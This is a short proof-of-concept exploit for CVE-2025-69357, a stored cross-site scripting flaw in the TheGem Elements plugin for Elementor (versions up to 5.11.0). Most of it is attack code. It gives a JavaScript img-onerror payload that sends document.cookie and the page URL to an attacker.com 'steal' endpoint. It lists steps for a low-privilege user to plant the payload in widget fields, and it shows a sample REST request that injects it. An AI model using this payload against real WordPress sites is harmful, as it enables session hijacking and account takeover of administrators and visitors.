CVE-2025-69357

// CVE-2025-69357 Stored XSS PoC for TheGem Elements Elementor Plugin // Target: WordPress with TheGem Theme Elements plugin <= 5.11.0 // PoC Payload - Stored XSS const xssPayload = '<img src=x onerror="fetch(`https://attacker.com/steal?c=${document.cookie}&u=${window.location.href}`,{method:\'GET\',credentials:\'include\'})\" />'; // Steps to exploit: // 1. Login to WordPress with low-privilege account (subscriber/contributor) // 2. Navigate to a page edited with Elementor // 3. Add a TheGem Elements widget (e.g., Counter, Icon Box, or similar) // 4. Inject the XSS payload in text fields like title, content, or custom HTML // 5. Save and publish the page // 6. When admin or other users view the page, the XSS will execute // Example HTTP Request: const pocRequest = { method: 'POST', path: '/wp-json/wp/v2/posts/123', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': '[admin_nonce]' }, body: { 'content': '[elementor-template id="456"][thegem-counter title="' + xssPayload + '" value="1"]' } }; console.log('CVE-2025-69357 PoC - Stored XSS in TheGem Elements'); console.log('Payload:', xssPayload); console.log('Target: TheGem Theme Elements for Elementor <= 5.11.0');

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